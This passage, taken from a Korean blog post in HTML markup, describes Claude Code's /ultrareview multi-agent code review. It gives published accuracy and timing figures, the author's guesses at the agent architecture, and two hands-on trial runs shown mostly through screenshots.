height=&quot;1102&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;결과의 신뢰도&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic 블로그는 내부 운영 결과를 구체적인 수치로 공개했다. 1,000줄 이상 대형 PR의 84%에서 발견 사항이 있으며 평균 7.5개 이슈가 보고됐다. 50줄 미만 소형 PR은 31%, 평균 0.5개 이슈를 기록했고, 엔지니어의 발견 사항 불일치율은 1% 미만이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1% 미만의 불일치율은 신뢰도가 매우 높다는 의미다. 이는 Verify 에이전트가 거짓 양성을 걸러내는 과정이 실질적으로 작동하고 있음을 보여준다. 단순히 버그 후보를 나열하는 것이 아니라, 재현 가능한 실제 버그만 통과시키는 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;소요 시간&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CLI 기반 &lt;code&gt;/ultrareview&lt;/code&gt;는 리뷰에 약 5~10분이 소요된다. Team/Enterprise용 PR 통합 Code Review는 Anthropic 테스트 기준 평균 약 20분이며, PR 크기와 복잡도에 따라 확장된다. 큰 변경에는 더 많은 에이전트가 투입되고, 단순한 변경에는 가벼운 검토가 적용된다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 4 --&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 공개 정보 기반 아키텍처 추정&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 섹션은 공개된 공식 문서와 커뮤니티 분석을 바탕으로 한 추정이다. 물론 나도 직접 수행하여 테스트 해보았으니 이후에 있는 실제 수행 예시 섹션을 참고해도 좋다.&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;1018&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D8tsS/dJMcaaZlT9Q/fnsjkGMpK2Kmk0Jt8empV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D8tsS/dJMcaaZlT9Q/fnsjkGMpK2Kmk0Jt8empV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D8tsS/dJMcaaZlT9Q/fnsjkGMpK2Kmk0Jt8empV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD8tsS%2FdJMcaaZlT9Q%2FfnsjkGMpK2Kmk0Jt8empV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;436&quot; height=&quot;600&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;1018&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;원격 샌드박스 구조 (추정)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에 따르면 &lt;code&gt;/ultrareview&lt;/code&gt;는 &quot;Claude Code on the web 인프라&quot;에서 실행된다. &lt;code&gt;/ultraplan&lt;/code&gt;도 동일하게 Anthropic의 클라우드 인프라에서 실행되며 Bedrock/Vertex/Foundry 미지원, Claude Code on the web 계정 필수라는 동일한 제약을 공유한다는 점에서, 두 기능이 같은 인프라 레이어를 공유할 가능성이 높다고 추정된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HN 커뮤니티에서는 &lt;code&gt;/ultrareview&lt;/code&gt;가 Mythos(Anthropic의 내부 에이전트 안전 레이어) 위에서 동작할 가능성에 대한 추측이 나왔다. HN 사용자 mchinen은 &quot;seems at least plausible&quot;이라고 평가했으나, 이는 커뮤니티 추론 수준이며 Anthropic이 공식 확인한 사실이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;에이전트 플릿 구성 (추정)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;1022&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pLYfm/dJMcajoofeV/4L5Dqyf5Idyabu2HzkZ760/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pLYfm/dJMcajoofeV/4L5Dqyf5Idyabu2HzkZ760/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pLYfm/dJMcajoofeV/4L5Dqyf5Idyabu2HzkZ760/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpLYfm%2FdJMcajoofeV%2F4L5Dqyf5Idyabu2HzkZ760%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1954&quot; height=&quot;1022&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;1022&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 &quot;리뷰어 에이전트 플릿&quot;이라고만 명시하고 에이전트 수를 공개하지 않는다. 비교 스펙 자료에는 기본 5개 에이전트로 추정되는 내용이 있으나, 이는 PR 크기에 따라 동적으로 달라지는 것으로 보인다고 추정된다. &quot;Large or complex changes get more agents&quot;라는 블로그 표현이 이를 뒷받침한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트 구조는 추정상 두 레이어로 나뉜다. &lt;b&gt;Find 레이어&lt;/b&gt;에서 각 에이전트가 서로 다른 버그 클래스(보안, 로직, 타입, 동시성 등)를 병렬 탐색하고, &lt;b&gt;Verify 레이어&lt;/b&gt;에서 찾은 버그를 독립적으로 재현해 거짓 양성을 제거한다. 이 구조가 1% 미만 불일치율의 기반이 될 가능성이 높다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 비교적 작은 수정사항을 내가 직접 테스트 해보았다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Case1. 리뷰 기회 낭비&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 전반적인 UX를 개선했던 사항 (처음 리뷰 이다보니 최대한 간단한 class 수정 작업에 대한 리뷰 요청)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1586&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbNKEr/dJMcah5gXqw/9yPzDcmrBFiZRrvrl3mRt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbNKEr/dJMcah5gXqw/9yPzDcmrBFiZRrvrl3mRt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbNKEr/dJMcah5gXqw/9yPzDcmrBFiZRrvrl3mRt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbNKEr%2FdJMcah5gXqw%2F9yPzDcmrBFiZRrvrl3mRt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1586&quot; height=&quot;328&quot; data-origin-width=&quot;1586&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;❯&amp;nbsp;/ultrareview&amp;nbsp;b32eae7&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;574&quot; data-origin-height=&quot;266&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biNZCX/dJMcajood9N/RxtRPm4KS7Ww59lSrHFHKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biNZCX/dJMcajood9N/RxtRPm4KS7Ww59lSrHFHKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biNZCX/dJMcajood9N/RxtRPm4KS7Ww59lSrHFHKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiNZCX%2FdJMcajood9N%2FRxtRPm4KS7Ww59lSrHFHKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;278&quot; height=&quot;129&quot; data-origin-width=&quot;574&quot; data-origin-height=&quot;266&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나도 처음 써보는 것이며, 3번의 기회중 1번을 사용해보겠다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1226&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XI54n/dJMcab42bv3/4KDVGt8pgTtAYrt4oCIRpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XI54n/dJMcab42bv3/4KDVGt8pgTtAYrt4oCIRpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XI54n/dJMcab42bv3/4KDVGt8pgTtAYrt4oCIRpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXI54n%2FdJMcab42bv3%2F4KDVGt8pgTtAYrt4oCIRpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1226&quot; height=&quot;484&quot; data-origin-width=&quot;1226&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 너무 간단한 예시였을까........................................... 충격적인 결과&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1264&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b53WSD/dJMcaakKV8U/UonR3fKWdB83a8XBuiNAb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b53WSD/dJMcaakKV8U/UonR3fKWdB83a8XBuiNAb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b53WSD/dJMcaakKV8U/UonR3fKWdB83a8XBuiNAb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb53WSD%2FdJMcaakKV8U%2FUonR3fKWdB83a8XBuiNAb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1264&quot; height=&quot;342&quot; data-origin-width=&quot;1264&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 자세히 보니 에러ㅠㅠ 버그가 아직 많은가?&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;578&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7tXyN/dJMcagyupdv/nWSBnW6HjDjyivCZ2nC6gk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7tXyN/dJMcagyupdv/nWSBnW6HjDjyivCZ2nC6gk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7tXyN/dJMcagyupdv/nWSBnW6HjDjyivCZ2nC6gk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7tXyN%2FdJMcagyupdv%2FnWSBnW6HjDjyivCZ2nC6gk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;490&quot; height=&quot;291&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;578&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Case2. 복잡한 소스 개발과 관련된 케이스 리뷰&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- &lt;a href=&quot;https://goddaehee.com/showcase/toktok-analyzer&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://goddaehee.com/showcase/toktok-analyzer&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt; ❯ /ultrareview&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;330&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ji7Oy/dJMcahjVjES/bHkIMquyOEmTDCV9cHE1I1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ji7Oy/dJMcahjVjES/bHkIMquyOEmTDCV9cHE1I1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ji7Oy/dJMcahjVjES/bHkIMquyOEmTDCV9cHE1I1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJi7Oy%2FdJMcahjVjES%2FbHkIMquyOEmTDCV9cHE1I1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1876&quot; height=&quot;330&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;330&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 로그는 보니 3 files changed, 65 insertions(+) 아무 파라미터를 주지 않으니 최신 커밋 기준으로 리뷰를 해버렸다 ㅠㅠ&amp;nbsp; 아까운 기회..&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;454&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wHw55/dJMcaiC404p/DutjHteLyE85nPvsVZKAZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wHw55/dJMcaiC404p/DutjHteLyE85nPvsVZKAZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wHw55/dJMcaiC404p/DutjHteLyE85nPvsVZKAZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwHw55%2FdJMcaiC404p%2FDutjHteLyE85nPvsVZKAZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;427&quot; height=&quot;216&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;454&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;❯ /ultrareview 특정 커밋 시점&amp;nbsp; 다시 시도 해도 실패&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나의 경우 이미 여러 멀티 에이전트를 통해 바이브 코딩시 자동 리뷰가 되다 보니 리뷰를 할 특이점이 딱히 없는가 싶어서 오래된 막 굴리던 프로젝트 대상으로 목표를 변경하였다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1558&quot; data-origin-height=&quot;1010&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCkUXy/dJMcabRuPuP/25iOz8PC1DcKuEdHi5Cat1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCkUXy/dJMcabRuPuP/25iOz8PC1DcKuEdHi5Cat1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCkUXy/dJMcabRuPuP/25iOz8PC1DcKuEdHi5Cat1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCkUXy%2FdJMcabRuPuP%2F25iOz8PC1DcKuEdHi5Cat1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1558&quot; height=&quot;1010&quot; data-origin-width=&quot;1558&quot; data-origin-height=&quot;1010&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1998&quot; data-origin-height=&quot;312&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tucDP/dJMcafl49RX/Ukp5atCONHjfuiri346QO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tucDP/dJMcafl49RX/Ukp5atCONHjfuiri346QO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tucDP/dJMcafl49RX/Ukp5atCONHjfuiri346QO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtucDP%2FdJMcafl49RX%2FUkp5atCONHjfuiri346QO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1998&quot; height=&quot;312&quot; data-origin-width=&quot;1998&quot; data-origin-height=&quot;312&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어느정도 복잡한 프로젝트로 시작하니 관련 내용을 체크 하기 시작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;❯ /ultrareview&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2256&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dL2VWk/dJMcagFjkFi/MhkCKNnwlPQOYShbJfGgE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dL2VWk/dJMcagFjkFi/MhkCKNnwlPQOYShbJfGgE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dL2VWk/dJMcagFjkFi/MhkCKNnwlPQOYShbJfGgE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdL2VWk%2FdJMcagFjkFi%2FMhkCKNnwlPQOYShbJfGgE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2256&quot; height=&quot;130&quot; data-origin-width=&quot;2256&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 9개의 후보군을 찾은 후 1개씩 체크 하는 과정&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TUEnv/dJMcagrJMrD/71yy0feTxJaeHIdRIaXTm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TUEnv/dJMcagrJMrD/71yy0feTxJaeHIdRIaXTm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TUEnv/dJMcagrJMrD/71yy0feTxJaeHIdRIaXTm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTUEnv%2FdJMcagrJMrD%2F71yy0feTxJaeHIdRIaXTm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;428&quot; height=&quot;297&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - Dead code를 포함하여 몇개의 이슈 확인&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;674&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cNTF8i/dJMcaaE5KZy/LdIDWMMrDRNsv6YMPFakx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cNTF8i/dJMcaaE5KZy/LdIDWMMrDRNsv6YMPFakx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cNTF8i/dJMcaaE5KZy/LdIDWMMrDRNsv6YMPFakx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcNTF8i%2FdJMcaaE5KZy%2FLdIDWMMrDRNsv6YMPFakx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;455&quot; height=&quot;278&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;674&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 중복제거 까지 완료&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;72&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZIB7N/dJMcadodSfH/4c32OjK8qFPJkzDeNkKa01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZIB7N/dJMcadodSfH/4c32OjK8qFPJkzDeNkKa01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZIB7N/dJMcadodSfH/4c32OjK8qFPJkzDeNkKa01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZIB7N%2FdJMcadodSfH%2F4c32OjK8qFPJkzDeNkKa01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;258&quot; height=&quot;29&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;72&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 이후 claude code에게 리뷰 완료를 알려주며 이후 작업을 이어 나갈수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;394&quot; data-origin-height=&quot;54&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d510eE/dJMcaayjvak/rr9zjy9XCzbcRJj4ixtlgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d510eE/dJMcaayjvak/rr9zjy9XCzbcRJj4ixtlgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d510eE/dJMcaayjvak/rr9zjy9XCzbcRJj4ixtlgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd510eE%2FdJMcaayjvak%2Frr9zjy9XCzbcRJj4ixtlgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;226&quot; height=&quot;31&quot; data-origin-width=&quot;394&quot; data-origin-height=&quot;54&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
